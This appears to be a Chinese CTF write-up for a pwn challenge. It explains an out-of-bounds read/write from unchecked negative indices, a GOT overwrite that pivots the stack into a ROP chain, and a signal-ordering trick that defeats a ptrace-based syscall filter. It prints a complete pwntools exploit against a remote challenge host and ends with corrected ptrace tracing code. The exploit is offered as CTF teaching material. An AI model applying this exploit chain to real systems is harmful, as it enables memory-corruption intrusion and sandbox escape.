前言
就做了下题目,pwn1/3
都是签到,pwn2
后面绕 ptrace
有点意思,简单记录一下
漏洞分析
子进程中的读/写功能没有检查负数的情况,存在越界读写:
void __fastcall get_value(__int64 *int64_arr)
{
__int64 ll; // [rsp+18h] [rbp-8h]
if ( dword_202018 > 1 )
{
puts("permission denied!");
}
else
{
puts("which one?");
ll = get_ll();
if ( ll > 2 ) // 负数没检查
exit(1);
printf("num[%lld] = %lld\n", ll, int64_arr[ll]);
++dword_202018;
}
}
void __fastcall set_value(__int64 *int64_arr)
{
__int64 ll; // [rsp+10h] [rbp-220h]
char buf[520]; // [rsp+20h] [rbp-210h] BYREF
unsigned __int64 v3; // [rsp+228h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( dword_202010 == 1 )
{
puts("recv:");
read(0, buf, 0x200uLL);
puts("which one?");
ll = get_ll();
if ( ll > 2 ) // 负数没检查
exit(1);
puts("set value?");
int64_arr[ll] = get_ll();
puts("Set up for success!");
dword_202010 = 0;
}
else
{
puts("permission denied!");
}
}
所以这里存在两次越界读和一次越界写,这里的写只能写一次,因为 dword_202010
是在被写之后赋值为 0
的,所以无法通过修改 dword_202008
去实现无限次越界读,但是两次也足够了。
利用越界读泄漏 libc
和 stack
劫持程序执行流执行rop
泄漏了 libc
和 stack
后,接下来就是思考如何通过一次越界写实现执行流的劫持,可以看到越界写函数 set_value
中会先读 512
字节到栈上:
void __fastcall set_value(__int64 *int64_arr)
{
__int64 ll; // [rsp+10h] [rbp-220h]
char buf[520]; // [rsp+20h] [rbp-210h] BYREF
unsigned __int64 v3; // [rsp+228h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( dword_202010 == 1 )
{
puts("recv:");
read(0, buf, 0x200uLL); // 读取 512 字节
puts("which one?");
ll = get_ll();
if ( ll > 2 ) // 负数没检查
exit(1);
puts("set value?");
int64_arr[ll] = get_ll();
puts("Set up for success!");
dword_202010 = 0;
}
else
{
puts("permission denied!");
}
}
所以很明显这里可以把 rop
链放在 buf
上,然后想办法把栈迁移过去。这里的 buf
的地址为低地址,并且只有 8
字节写的机会,所以很难直接把栈抬上去,我没有找到合适的 sub rsp, xxx; ret
,栈迁移也不好做,所以这里我歇菜了
这里我们需要把栈抬上去,其他佬找到了方法,直接说结果吧,修改 libc.got
,因为后面会调用 puts
函数,其会调用到 libc
中的 __strlen_evex.got
,而在执行 puts
时,栈就被抬上去了,所以我们修改 __strlen_evex.got
为一个 add rsp xxx; ret
就有机会执行 rop
了,而 add rsp, xxx; ret
还是比 sub rsp, xxx; ret
好找的
绕过 ptrace
对系统调用的过滤
可以执行 rop
后,接下来就是考虑如何绕过父进程中的 ptrace
对 syscall
系统调用号的检查:
ptrace(PTRACE_SETOPTIONS, pid, 0LL, 1LL);
do
{
ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 进入系统调用时,检查系统调用号
if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的
error("waitpid error2");
if ( (status & 0x7F) == 0 || status == 127 && (status & 0xFF00) >> 8 == 11 )
break;
if ( ptrace(PTRACE_GETREGS, pid, 0LL, ®s) < 0 )
error("GETREGS error");
if ( regs.orig_rax != 1 && regs.orig_rax != 231 && regs.orig_rax != 5 && regs.orig_rax != 60 )
{
if ( regs.orig_rax )
{
printf("bad syscall: %llu\n", regs.orig_rax);
regs.orig_rax = -1LL;
if ( ptrace(PTRACE_SETREGS, pid, 0LL, ®s) < 0 )
error("SETREGS error");
}
}
ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 捕获退出系统调用
if ( waitpid(pid, &status, 0x40000000) < 0 )
error("waitpid error3");
}
while ( (status & 0x7F) != 0 && (status != 127 || (status & 0xFF00) >> 8 != 11) );
这里的实现存在漏洞,我代码也注释了,这段代码主要就是两个 PTRACE_SYSCALL+waitpid
,其本意为:
# 子进程进入系统调用前触发某个信号,此时 waitpid 捕获,然后检查系统调用号
ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 进入系统调用时,检查系统调用号
if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的
error("waitpid error2");
check
# 子进程退出系统调用时触发某个信号,此时 waitpid 捕获
ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 捕获退出系统调用
if ( waitpid(pid, &status, 0x40000000) < 0 )
error("waitpid error3");
但是这里 waitpid
捕获信号后,没有区分是否是由于系统调用触发的,所以在 rop
中我们可以先通过某些 gadget
发出一个信号,此时被第一个 waitpid
捕获,后面在执行系统调用时,检查的逻辑就成了:
# 子进程进入系统调用时触发某个信号,此时 waitpid 捕获
ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 捕获退出系统调用
if ( waitpid(pid, &status, 0x40000000) < 0 )
error("waitpid error3");
# 子进程退出系统调用前触发某个信号,此时 waitpid 捕获,然后检查系统调用号
ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 进入系统调用时,检查系统调用号
if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的
error("waitpid error2");
check
所以这里就成功绕过了检查,最后的 exp
如下:
直接执行
system
可能会出现问题,因为system
中可能会发出某些信号,导致上述检查逻辑顺序再次被转换回来
from pwn import *
from ctypes import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = remote("119.45.238.17", 9999)
#io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0
gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8
"""
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
dll.rand()
menu = b'choose one >'
def set_val(data, idx, val):
sla(menu, b'1')
sla(b'recv:\n', data)
sla(b"which one?\n", byte(idx))
sla(b"set value?\n", byte(val))
def get_val(idx):
sla(menu, b'2')
sla(b"which one?\n", byte(idx))
#gdb.attach(io, 'set follow-fork-mode child; b *$rebase(0xd6d)')
#gdb.attach(io, 'set follow-fork-mode child; b *$rebase(0xd6d)')
get_val(-2) # <_IO_2_1_stderr_>
rut(b'] = ')
libc_base = int(rut(b'\n'), 10) - libc.sym._IO_2_1_stderr_
info("libc_base", libc_base)
#pause()
libc.address = libc_base
pop_rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x00000000000796a2 # pop rdx ; ret
retf = libc_base + 0x0000000000029551 # retf
syscall = libc.sym.syscall + 27
int_0x80 = libc_base + 0x00000000000f2ec2 # int 0x80
pop_rbx = libc_base + 0x0000000000035dd1 # pop rbx ; re
pop_rcx = libc_base + 0x000000000003d1ee # pop rcx ; ret
ret = libc_base + 0x0000000000029139 # ret
int1_ret = libc_base + 0x000000000009cd15 # int1 ; xor eax, eax ; ret
"""
get_val(-3) # elf_base+0xe48
rut(b'] = ')
elf_base = int(rut(b'\n'), 10) - 0xe48
info("elf_base", elf_base)
"""
get_val(-4)
rut(b'] = ')
stack = int(rut(b'\n'), 10) - 0x20
info("stack", stack)
rop = p64(int1_ret)
rop += p64(pop_rdi)+p64(stack+208-0x230)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
rop += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack+0x400)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(0)+p64(syscall)
rop += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack+0x400)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(1)+p64(syscall)
rop += b'flag\x00\x00'
print(len(rop))
#gdb.attach(io, 'b *'+str(libc_base+0x0000000000114b5c))
set_val(rop, (libc_base+0x219098-stack)//8, libc_base+0x0000000000114b5c)
"""
- nc 119.45.238.17 9999
- nc 119.45.238.17 19999
- nc 119.45.238.17 29999
- nc 119.45.238.17 39999
- nc 119.45.238.17 49999
"""
#pause()
sh()
远程效果如下:
后记
让 gpt
写一个正确使用 PTRACE_SYSCALL
的代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/reg.h> // 定义寄存器偏移量
#include <sys/user.h> // 定义 user_regs_struct
int main(int argc, char *argv[]) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <program>\n", argv[0]);
exit(1);
}
pid_t child = fork();
if (child == 0) {
// 子进程:执行目标程序
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl(argv[1], argv[1], NULL);
} else {
// 父进程:跟踪目标进程
int status;
struct user_regs_struct regs;
waitpid(child, &status, 0); // 等待子进程停止
ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACESYSGOOD);
while (1) {
// 继续执行,直到下一个系统调用事件
ptrace(PTRACE_SYSCALL, child, 0, 0);
waitpid(child, &status, 0);
if (WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)) {
// 进入系统调用
ptrace(PTRACE_GETREGS, child, 0, ®s);
printf("Entered syscall: %lld\n", regs.orig_rax);
// 继续执行,直到系统调用退出
ptrace(PTRACE_SYSCALL, child, 0, 0);
waitpid(child, &status, 0);
if (WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)) {
// 退出系统调用
ptrace(PTRACE_GETREGS, child, 0, ®s);
printf("Exited syscall: %lld, return value: %lld\n", regs.orig_rax, regs.rax);
}
}
if (WIFEXITED(status)) {
// 目标进程退出
printf("Child process exited\n");
break;
}
}
}
return 0;
}
可以看到这里使用 WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)
去过滤由系统调用产生的 SIGTRAP
信号,注意这里要配合 PTRACE_O_TRACESYSGOOD
,其会将系统调用产生的 SIGTRAP
信号与上 0x80
,就是用来区分其他事件产生的 SIGTRAP
信号